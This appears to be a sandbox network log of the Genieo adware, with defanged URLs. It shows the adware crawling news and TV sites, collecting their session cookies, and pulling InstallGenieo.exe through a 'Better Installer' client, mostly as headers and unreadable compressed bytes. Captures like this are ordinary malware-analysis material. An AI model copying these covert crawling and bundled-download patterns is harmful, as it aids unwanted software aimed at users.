GET /network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1

Accept-Encoding: gzip,deflate

Host: bi.bisrv.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:04:50 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............z.F.6..<.w..:qH.Z..t(..l.n{.v.t.#)z@.$!q.I.KD..|
.......SU(,..tz:[email protected]..,?]...r2......(....h........."]F..r...
@.,.yv.l..(X....g..X......?..Q..z....'....b.....T*.n.....E......}.9.o.
R.}..~....Nf.4...E..o\d....^I....W.s1[,O.Q........2=..._...r9......L..
.{.r.-..5....<N.O.q.._~.../.......$.x:....".....w....C<OO...a...
,..{.x.u......i?..o...t.....~v..f.Et.,......u.~.....t...g.<..'..1..
s....6.l`>.t.O..>..]..sQ^...{.....<.a.......t..d....)ZLf.I:..
.."~j..<..`6.c........uh.m...l.~/N{...".'...Y?[\`.Ng.a<...A6N..o
.\6i..@....],.y...2....C...,..S.....".c].?..Kt.tr.....f..i&...?-N.i2..
c..1..Q.]f.X.tq.;..%..[.<..g....-.......2;.....i..a:....dv9].?...}.
.t*.../....\p.....O..0...1p...t1.Xp...i2...M.F'.\...#.t2...9.......l.O
..k~..*o...\;.....g.NqP.O{..>......>.e...:.;;XU.4..o:........,..
.s..N.......{w{.....rw7M...?....w....\..U... 6Q<[email protected];.
.......RZme.z..W.d.3......5.....\..A.*.1.7....e..:w.............wQ....
.[[..//...w..[w..cwk.v.X..~...k.ww...}....~o.lq-.}..J........]_.N...P.
.{.......;_...|.z.n....{..{.o.....~|.~......u...!..|x.Vc.5.r6....Eh8..
.E.8.{..1!....Y.^.H/...Tn...gS..1X......l9..J..ms..r...3=...00?.v.^.(3
...i.m.J....R.................Sa..q.....<]^..W....{....'.5.........
.C....^o]..$....e.f....~......y...hg?..l...p9.o...U6h...(J[....}.O...(
....8.e.6t_.7..>.\....[.:...l....Q.....f/.[.ar9.'.....R..;...*.G.ti
.-..J......~_Kq..-|....3.....{.....F....O..0.....l9._r_.oAzO....z..mB.
7{~./f.Y....?S.}.X.cp9..neQ.u.z*.*..v...k....(..A.s...e.....j..)JA<<< skipped >>>

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: bi.bisrv.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:04:53 GMT

Content-Type: text/plain

Content-Length: 26

Last-Modified: Thu, 14 May 2015 08:30:20 GMT

ETag: "55545d1c-1a"

Accept-Ranges: bytes

User-agent: *.Disallow: /.HTTP/1.1 200 OK..Server: nginx..Date: Fri, 1
5 May 2015 23:04:53 GMT..Content-Type: text/plain..Content-Length: 26.
.Last-Modified: Thu, 14 May 2015 08:30:20 GMT..ETag: "55545d1c-1a"..Ac
cept-Ranges: bytes..User-agent: *.Disallow: /...

HEAD / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.tvguide.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Server: nginx

Content-Type: text/html; charset=UTF-8

Content-Encoding: gzip

Vary: Accept-Encoding

Expires: Fri, 15 May 2015 23:05:00 GMT

Cache-Control: max-age=0, no-cache, no-store

Pragma: no-cache

Date: Fri, 15 May 2015 23:05:00 GMT

Content-Length: 0

Connection: keep-alive

Set-Cookie: tvg_session=guardedeyJpdiI6IjBLME80TmJ0UDExMkI5NXZxR0pHSXc9PSIsInZhbHVlIjoiWTAzZ3N1OG1HVnRyN1Y0QVBcL0JCTHlna3FiVkFkZHNOMW9Ka0FCd0dFSUQyb2FRMFdcL2Z6MWdIRWZGcStjTmFZRXRJY3lRMnVJVEZyS1k3WWlTcG5YQT09IiwibWFjIjoiNjg1ZjExZjc5MTQ5NjY3Yzc3MzhhYjhiYjg1MDhjMjE5ZTEyNDNhMjNkNzY1YWNlOTZmMTMzODI1M2M5MTNlYSJ9; expires=Sat, 16-May-2015 00:05:00 GMT; Max-Age=3600; path=/; domain=.tvguide.com; httponly

Set-Cookie: tvg_user=c70f9c88-e3df-4d1c-88db-0402c8ea95de; expires=Wed, 13-May-2020 23:05:00 GMT; Max-Age=157680000; path=/; domain=.tvguide.com
....


GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.tvguide.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: tvg_session=guardedeyJpdiI6IjBLME80TmJ0UDExMkI5NXZxR0pHSXc9PSIsInZhbHVlIjoiWTAzZ3N1OG1HVnRyN1Y0QVBcL0JCTHlna3FiVkFkZHNOMW9Ka0FCd0dFSUQyb2FRMFdcL2Z6MWdIRWZGcStjTmFZRXRJY3lRMnVJVEZyS1k3WWlTcG5YQT09IiwibWFjIjoiNjg1ZjExZjc5MTQ5NjY3Yzc3MzhhYjhiYjg1MDhjMjE5ZTEyNDNhMjNkNzY1YWNlOTZmMTMzODI1M2M5MTNlYSJ9; tvg_user=c70f9c88-e3df-4d1c-88db-0402c8ea95de

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: nginx

Content-Type: text/html; charset=UTF-8

Content-Encoding: gzip

Vary: Accept-Encoding

Expires: Fri, 15 May 2015 23:05:01 GMT

Cache-Control: max-age=0, no-cache, no-store

Pragma: no-cache

Date: Fri, 15 May 2015 23:05:01 GMT

Content-Length: 14907

Connection: keep-alive

Set-Cookie: tvg_session=guardedeyJpdiI6ImlYSE5VR3pQTWlpNEFzRXk0OTBTSkE9PSIsInZhbHVlIjoiQlozOEtTNWJ6Tno5dGhQMU9MUEJSSldSTnFMRTlLRFg0d0ZsR3hzd0lXVDBUMTE5QWp1TSt4NTY0MUg5Uk05RWNxZHB4bXZWeHRwWlNMdzZKMjZ0Mnc9PSIsIm1hYyI6IjI3MTI5NDM3M2MzYWVmNzA1NmY2MTQ0MTIyZmMyYjFmMjkyOWY2ZDM5NzYxNWJhMTkyM2ZmN2E2ZjU4NDcxOTgifQ==; expires=Sat, 16-May-2015 00:05:00 GMT; Max-Age=3600; path=/; domain=.tvguide.com; httponly
...........}kw....g..... YX......p..PNC.....F..V#K.$'q)...{FW[vl..CiW.
k43.2{.m.zp../.....Sa..........p.o..ut...!%....`DS"8C.'4..&.'.ZB.|5L..
H.............hLR..hKp.0.!.{..O......'....N...J.e.....^.:..C7......o..
.{.......>=....!...MB'..p...v..)...=x...;......s..Q...?..q........)
.|.>v...{Q'{..........C..0..$F.... .....E....[...~.<Zy..~.).<
[email protected]:<......>D...\>.}...<.\.|.....t.V...
v.&.....4..&.g.<. O......'..v....P......w4>..>.....2......!. 
.\@$.>..G...w@&..B.e.,..5......c.v.W.d..A....}.....#?=..NLIJ.&..O@.
h..8.Sz.B..x.?W.$....3.......2m..>.k.........O.`.?A.A..'O..[.?.)..}
........PY]>N9..*P..>...Bx...w.4}........0..`2B....911B....I...)
....I..ak....C..".M:....w........q..;'..-P.o......k2..v.....saoc...$.F
.i...$.J..O...........~..B/|`| .R..O.8.[..#..:......Ai../...h..K.W....
.Yi ....|9h=..L~~.C......z.ft...V.g/E....D..*.b.A.....&..4N.w.f.gt....
4.....$h.`B...E...t....MC...?.@s.........>W0..~..!.0..4.!..I..E....
8.S..eR.1,......d..........N1.Q.p..0.......ELq.?............O.!(..rjP.
... .p~.2....v(.....g?..a....p......g....9..i..G..|&.L................
.%....|@..L..J.>t....#.....s..6.r..H......_..`.....w;~.E}6...v..P_=
.(.N..o....^ 3..`.q..1.!vh......... ......w...7..g..P.A.a....0..$.w...
..[?.$.........i'I.gQ..j..|F.....A....'.j.....g...V...A....Pb .KPF_I.a
.Ib...~....{PMc.....K.A...G.,.....3......P..@...@..$.hw.F{.....*x...1.
.2\..~!.M..3..U..p.1....hsI.N..9...[..j..">R.9..2n........A.&.N...I
..........-..A..Dd....Fo.....tF~..#i}n..R.?E..............u0L..r..<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.tvguide.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: tvg_session=guardedeyJpdiI6ImlYSE5VR3pQTWlpNEFzRXk0OTBTSkE9PSIsInZhbHVlIjoiQlozOEtTNWJ6Tno5dGhQMU9MUEJSSldSTnFMRTlLRFg0d0ZsR3hzd0lXVDBUMTE5QWp1TSt4NTY0MUg5Uk05RWNxZHB4bXZWeHRwWlNMdzZKMjZ0Mnc9PSIsIm1hYyI6IjI3MTI5NDM3M2MzYWVmNzA1NmY2MTQ0MTIyZmMyYjFmMjkyOWY2ZDM5NzYxNWJhMTkyM2ZmN2E2ZjU4NDcxOTgifQ==; tvg_user=c70f9c88-e3df-4d1c-88db-0402c8ea95de

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: nginx

Content-Type: image/x-icon

Content-Length: 18094

Last-Modified: Fri, 15 May 2015 22:47:09 GMT

ETag: "5556776d-46ae"

Accept-Ranges: bytes

Expires: Fri, 15 May 2015 23:05:01 GMT

Cache-Control: max-age=0, no-cache, no-store

Pragma: no-cache

Date: Fri, 15 May 2015 23:05:01 GMT

Connection: keep-alive

............ .(...6...  .... .(...^...00.... .(-......(....... ..... .
......................................................................
......................................................................
......................................................................
..................dd..))..AA..TT......??..]]..NN......ff..ff..........
............................ww......................qq................
......11..PP......~~..............bb..........tt..................::..
....aa..tt..TT..]]..jj..........""....................................
......HH......................................................!!......
........>>..........xx..................................!!......
........................................................!!............
..........pp..................................VV......................
~~..//......mm..........................))..............}}......''....
..}}..UU..............................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................(... ...@..... .....
......................................................................
..................................................................

<<< skipped >>>

HEAD / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.tvguide.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: tvg_session=guardedeyJpdiI6ImlYSE5VR3pQTWlpNEFzRXk0OTBTSkE9PSIsInZhbHVlIjoiQlozOEtTNWJ6Tno5dGhQMU9MUEJSSldSTnFMRTlLRFg0d0ZsR3hzd0lXVDBUMTE5QWp1TSt4NTY0MUg5Uk05RWNxZHB4bXZWeHRwWlNMdzZKMjZ0Mnc9PSIsIm1hYyI6IjI3MTI5NDM3M2MzYWVmNzA1NmY2MTQ0MTIyZmMyYjFmMjkyOWY2ZDM5NzYxNWJhMTkyM2ZmN2E2ZjU4NDcxOTgifQ==; tvg_user=c70f9c88-e3df-4d1c-88db-0402c8ea95de

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: nginx

Content-Type: text/html; charset=UTF-8

Content-Encoding: gzip

Vary: Accept-Encoding

Expires: Fri, 15 May 2015 23:05:09 GMT

Cache-Control: max-age=0, no-cache, no-store

Pragma: no-cache

Date: Fri, 15 May 2015 23:05:09 GMT

Content-Length: 0

Connection: keep-alive

Set-Cookie: tvg_session=guardedeyJpdiI6InJDVmRCaGVFQTAwSFNRbnpaRStjanc9PSIsInZhbHVlIjoiUUVvSXhPelVVY09aMEFUTnJcL0g1YXFzZU9KU21RQXhRTk1CaUUwaFVubEhaT0IrM2pkcWRnUHM5VFpkWEZ2VE5rRWREdnJ4N0Z6M2tCRFRSZ1RWb2lRPT0iLCJtYWMiOiJiZDA3YmFkZTJlMmZmMmEyNjc4YTZjOGZiM2U3ZGM1ZmZjMDE0ZDFlYThkOTg1ZGI2YjUyZmY4MDBiMDViZGMwIn0=; expires=Sat, 16-May-2015 00:05:09 GMT; Max-Age=3600; path=/; domain=.tvguide.com; httponly
....


GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.tvguide.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: tvg_session=guardedeyJpdiI6InJDVmRCaGVFQTAwSFNRbnpaRStjanc9PSIsInZhbHVlIjoiUUVvSXhPelVVY09aMEFUTnJcL0g1YXFzZU9KU21RQXhRTk1CaUUwaFVubEhaT0IrM2pkcWRnUHM5VFpkWEZ2VE5rRWREdnJ4N0Z6M2tCRFRSZ1RWb2lRPT0iLCJtYWMiOiJiZDA3YmFkZTJlMmZmMmEyNjc4YTZjOGZiM2U3ZGM1ZmZjMDE0ZDFlYThkOTg1ZGI2YjUyZmY4MDBiMDViZGMwIn0=; tvg_user=c70f9c88-e3df-4d1c-88db-0402c8ea95de

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: nginx

Content-Type: text/html; charset=UTF-8

Content-Encoding: gzip

Vary: Accept-Encoding

Expires: Fri, 15 May 2015 23:05:09 GMT

Cache-Control: max-age=0, no-cache, no-store

Pragma: no-cache

Date: Fri, 15 May 2015 23:05:09 GMT

Content-Length: 14906

Connection: keep-alive

Set-Cookie: tvg_session=guardedeyJpdiI6Ik16OEFTd3pmYmdTMEhmcWFnSGdzRUE9PSIsInZhbHVlIjoiQkJTcGhaOGhuUzNVZlJ5SXpqaVoxdzFkUjRJVUFzUUFJRTRwZW9oaElaMjlYZWxxbkd3bTJqRzVZcm9yamIzXC9iQnRkajF5RlFJdXBIalpZa1hFWUFBPT0iLCJtYWMiOiJjYjk2Y2IxZDc2OGQ1Nzk4YjdlYmYyNDZkMGRjNTM4ODgzMDZhYWY1MDQwYzRkOTEyM2YzMWU4MTliYTllMTI1In0=; expires=Sat, 16-May-2015 00:05:09 GMT; Max-Age=3600; path=/; domain=.tvguide.com; httponly
...........}kw....g..... YX......p..PNC.....F..V#K.$'q)...{FW[vl..CiW.
k43.2{.m.zp../.....Sa..........p.o..ut...!%....`DS"8C.'4..&.'.ZB.|5L..
H.............hLR..hKp.0.!.{..O......'....N...J.e.....^.:..C7......o..
.{.......>=....!...MB'..p...v..)...=x...;......s..Q...?..q........)
.|.>v...{Q'{..........C..0..$F.... .....E....[...~.<Zy..~.).<
[email protected]:<......>D...\>.}...<.\.|.....t.V...
v.&.....4..&.g.<. O......'..v....P......w4>..>.....2......!. 
.\@$.>..G...w@&..B.e.,..5......c.v.W.d..A....}.....#?=..NLIJ.&..O@.
h..8.Sz.B..x.?W.$....3.......2m..>.k.........O.`.?A.A..'O..[.?.)..}
........PY]>N9..*P..>...Bx...w.4}........0..`2B....911B....I...)
....I..ak....C..".M:....w........q..;'..-P.o......k2..v.....saoc...$.F
.i...$.J..O...........~..B/|`| .R..O.8.[..#..:......Ai../...h..K.W....
.Yi ....|9h=..L~~.C......z.ft...V.g/E....D..*.b.A.....&..4N.w.f.gt....
4.....$h.`B...E...t....MC...?.@s.........>W0..~..!.0..4.!..I..E....
8.S..eR.1,......d..........N1.Q.p..0.......ELq.?............O.!(..rjP.
... .p~.2....v(.....g?..a....p......g....9..i..G..|&.L................
.%....|@..L..J.>t....#.....s..6.r..H......_..`.....w;~.E}6...v..P_=
.(.N..o....^ 3..`.q..1.!vh......... ......w...7..g..P.A.a....0..$.w...
..[?.$.........i'I.gQ..j..|F.....A....'.j.....g...V...A....Pb .KPF_I.a
.Ib...~....{PMc.....K.A...G.,.....3......P..@...@..$.hw.F{.....*x...1.
.2\..~!.M..3..U..p.1....hsI.N..9...[..j..">R.9..2n........A.&.N...I
..........-..A..Dd....Fo.....tF~..#i}n..R.?E..............u0L..r..<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.tvguide.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: tvg_session=guardedeyJpdiI6Ik16OEFTd3pmYmdTMEhmcWFnSGdzRUE9PSIsInZhbHVlIjoiQkJTcGhaOGhuUzNVZlJ5SXpqaVoxdzFkUjRJVUFzUUFJRTRwZW9oaElaMjlYZWxxbkd3bTJqRzVZcm9yamIzXC9iQnRkajF5RlFJdXBIalpZa1hFWUFBPT0iLCJtYWMiOiJjYjk2Y2IxZDc2OGQ1Nzk4YjdlYmYyNDZkMGRjNTM4ODgzMDZhYWY1MDQwYzRkOTEyM2YzMWU4MTliYTllMTI1In0=; tvg_user=c70f9c88-e3df-4d1c-88db-0402c8ea95de

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: nginx

Content-Type: image/x-icon

Content-Length: 18094

Last-Modified: Fri, 15 May 2015 22:47:09 GMT

ETag: "5556776d-46ae"

Accept-Ranges: bytes

Expires: Fri, 15 May 2015 23:05:09 GMT

Cache-Control: max-age=0, no-cache, no-store

Pragma: no-cache

Date: Fri, 15 May 2015 23:05:09 GMT

Connection: keep-alive

............ .(...6...  .... .(...^...00.... .(-......(....... ..... .
......................................................................
......................................................................
......................................................................
..................dd..))..AA..TT......??..]]..NN......ff..ff..........
............................ww......................qq................
......11..PP......~~..............bb..........tt..................::..
....aa..tt..TT..]]..jj..........""....................................
......HH......................................................!!......
........>>..........xx..................................!!......
........................................................!!............
..........pp..................................VV......................
~~..//......mm..........................))..............}}......''....
..}}..UU..............................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................(... ...@..... .....
......................................................................
..................................................................

<<< skipped >>>

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: ya.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=1613692281431731090

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:04:52 GMT

Content-Type: text/plain; charset=utf-8

Content-Length: 2539

Last-Modified: Thu, 14 May 2015 16:56:38 GMT

Connection: close

ETag: "5554d3c6-9eb"

Accept-Ranges: bytes

User-agent: *.Disallow: /?.Disallow: /404.html.Disallow: /about.html.D
isallow: /adddata.Disallow: /advanced_engl.html.Disallow: /advertising
.Disallow: /articles.Disallow: /chisla.html.Disallow: /cgi-bin/.Disall
ow: /cgi/.Disallow: /cy.Disallow: /dzen.html.Disallow: /i/.Disallow: /
ie3/yandsearch.Disallow: /keyboard_qwerty.html.Disallow: /logotypes.Di
sallow: /norobot.Disallow: /polling.Disallow: /redir.Disallow: /region
s.html?.Disallow: /s/.Disallow: /setup.Disallow: /skazki.Disallow: /su
bscribe/confirm.pl.Disallow: /subscribe/view.pl.Disallow: /yaca.Disall
ow: /ya.Disallow: /yandsearch.Disallow: /catalog/?text=.Disallow: /mse
arch.Disallow: /themes.Disallow: /showcaptcha.Disallow: /sitesearch.Di
sallow: /sl/*.html.Disallow: /403.html.Disallow: /404.html.Disallow: /
500.html.Disallow: /adresa-segmentator.Disallow: /all-supported-params
.Disallow: /cgi-bin/hidereferer.Disallow: /cgi-bin/set-intl.Disallow: 
/cgi-bin/xmlsearch.pl.Disallow: /cgi-bin/yandpage.Disallow: /cgi-bin/y
andsearch.Disallow: /click|/cy.Disallow: /clck.Disallow: /cycounter.Di
sallow: /dzen.Allow: /design-school$.Allow: /edu$.Allow: /edu/$.Disall
ow: /edu/tasks.Disallow: /edu/teachers.Disallow: /edu/test.Disallow: /
edu/ping.Disallow: /experiments.xml.Disallow: /family.Disallow: /famil
ysearch.Disallow: /formfeedback.Disallow: /goto_issue/.Disallow: /goto
_rubric/.Disallow: /i/yandex-big.gaf.Disallow: /ie3/yandsearch.Allow: 
/jobs$.Allow: /jobs/$.Disallow: /images-data.Disallow: /images.html.Di
sallow: /images/*.Allow: /images/$.Allow: /images/smart/$.Allow: /

<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=617755-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: MwXCX70yryl2 rt2QrG8qWe3Jp1k3R12GeVIeB cBqU0Q6/bz6Vyg2ARyfPdXvQA

x-amz-request-id: 3E76DF25F24AC586

Date: Fri, 15 May 2015 23:02:26 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 617755-988407/988408

Content-Type: application/octet-stream

Content-Length: 370653

Server: AmazonS3
...m$......"4C..HA.e...P.V.9J.2.E...."X..!X...>.U.oL{$.!.......5..h
.9\...Ua.M.%....... .5.}[email protected].'...'..My.......3i.........e..SPNO.ka
..R...f...5Mm..............c....W..%z`..U........D.h]...\q.....vyr..2.
.$.[.8M..6...=.*..g...J. N-k....w........G....s......6.3?>...).>
D..J.^.c/.N....u.6.....s...{....L..n......:........'...,...^..mg...BO.
>..}H#..N.'.F...%.....p..#....t...zV.,.\9.......D...B...B.:.[.IYZ..
.c..^K..[(d....H.......FwD.......z..L....-.i(.......I.....x.*..s[.....
b.H0DR..<"......d..w.{..v%e.8n......6t..P..>VK.e...4...B(7...>
;.a....K..A...Z.%.x."...:O...!...".p`......t.....q..Z...".....t...s;."
.[h.#z..ZG....&A.(.....@..........}...?g..u(.M..[.dD..h.7C4HS......I.-
....'.....|O......X[.....2"6.lR..(......m_....f...........u...n....Y..
i.9.......5..5..<7 ...0.c...|.i..zHh8..B'.........B.~1..;....A.T.H.
.FT.....8.9L..i`,..t.!C...B.<..lQ..W...F[....|T\..o.f...e.....H.o..
..9U....p.ReW.z.wJ.....A.!.#.../0.......E..v...X.M.(.:p[...b9.{#N.....
0...%6..AsI....'.........9.H%}6.0..'.;..R5.........4.j.Vw..g..N$...q..
..........s.}.)........\.2..^P..f....UA.bQK...o.~B..D...F...W.....)L..
./.wL]>[email protected]^.x......&G.Z........G..2.WuO......&.....T.W..
.)(..D.e.........C .Bl.U{...hC..ml0.......x......3...............h|...
.d.0`3.6$l.)Q...e.....BPo|-..@..<,K.0t.....2g.o./4..(.q$.M..M..X(J}
..F.Y.%Z..9.'.n...WR.V.V..I:.S`..uA.(h9FN.c..X.........4..........kD..
....>7.6%..n..`.v..R..w.u:.n.......u5f.!K*....6:...tK..n...k.%...AJ
.".../..}p.g...3.2.m.[..6....g..F...C......G_..B]*..i.<PX./gMI.<<< skipped >>>

GET /id/19746125 HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.cnbc.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 302 Moved Temporarily

Content-Length: 0

Server: aicache6x

Connection: close

Location: hXXp://VVV.cnbc.com

GET /index.html?partner=rss&emc=rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: Apache

Location: hXXp://VVV.nytimes.com/

Cneonction: close

Content-Type: text/html; charset=iso-8859-1

Content-Length: 231

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:16 GMT

X-Varnish: 490937284 490937211

Age: 1

Via: 1.1 varnish

X-Cache: HIT

X-API-Version: 5-5

X-PageType: homepage

Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://VVV.nytimes.com/">here</a&g
t;.</p>.</body></html>...

GET /video_accelerator/wizardtest/SMALLTEST.HTM?random=539451&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:54 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Fri, 15
 May 2015 23:02:54 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....

GET /video_accelerator/wizardtest/SMALLTEST.HTM?random=539451&mode=nolsp HTTP/1.1

Accept-Encoding: gzip,deflate

Host: test.youtubeaccelerator.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:04:49 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Fri, 15
 May 2015 23:04:49 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.......


GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: test.youtubeaccelerator.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 404 Not Found

Content-Type: text/html

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:04:51 GMT

Content-Length: 1245
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://ww
w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content
-Type" content="text/html; charset=iso-8859-1"/>..<title>404 
- File or directory not found.</title>..<style type="text/css
">..<!--..body{margin:0;font-size:.7em;font-family:Verdana, Aria
l, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px
 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:
1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;
color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 
2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..backgr
ound-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...c
ontent-container{background:#FFF;width:96%;margin-top:8px;padding:10px
;position:relative;}..-->..</style>..</head>..<body&
gt;..<div id="header"><h1>Server Error</h1></div&
gt;..<div id="content">.. <div class="content-container">&
lt;fieldset>..  <h2>404 - File or directory not found.</h2
>..  <h3>The resource you are looking for might have been rem
oved, had its name changed, or is temporarily unavailable.</h3>.
. </fieldset></div>..</div>..</body>..</htm
l>......
<<< skipped >>>

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: test.youtubeaccelerator.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

Set-Cookie: ASP.NET_SessionId=dj1bcluxvdhjqy015g3wyex2; path=/; HttpOnly

X-AspNet-Version: 4.0.30319

Set-Cookie: pixGUID=3b68d4a8-d2ce-4654-bf72-5e7d7066aeaa; path=/

Set-Cookie: YTAUserID=cd4efd39e7dc49b2a9477c9a1c326d3e; path=/

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:04:51 GMT

Content-Length: 1843
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"~..7N...O.<y...<M...L_~..
..I.......wr...7O....o.x...w.7u.l....Yy........m.zt........../..yu..`.
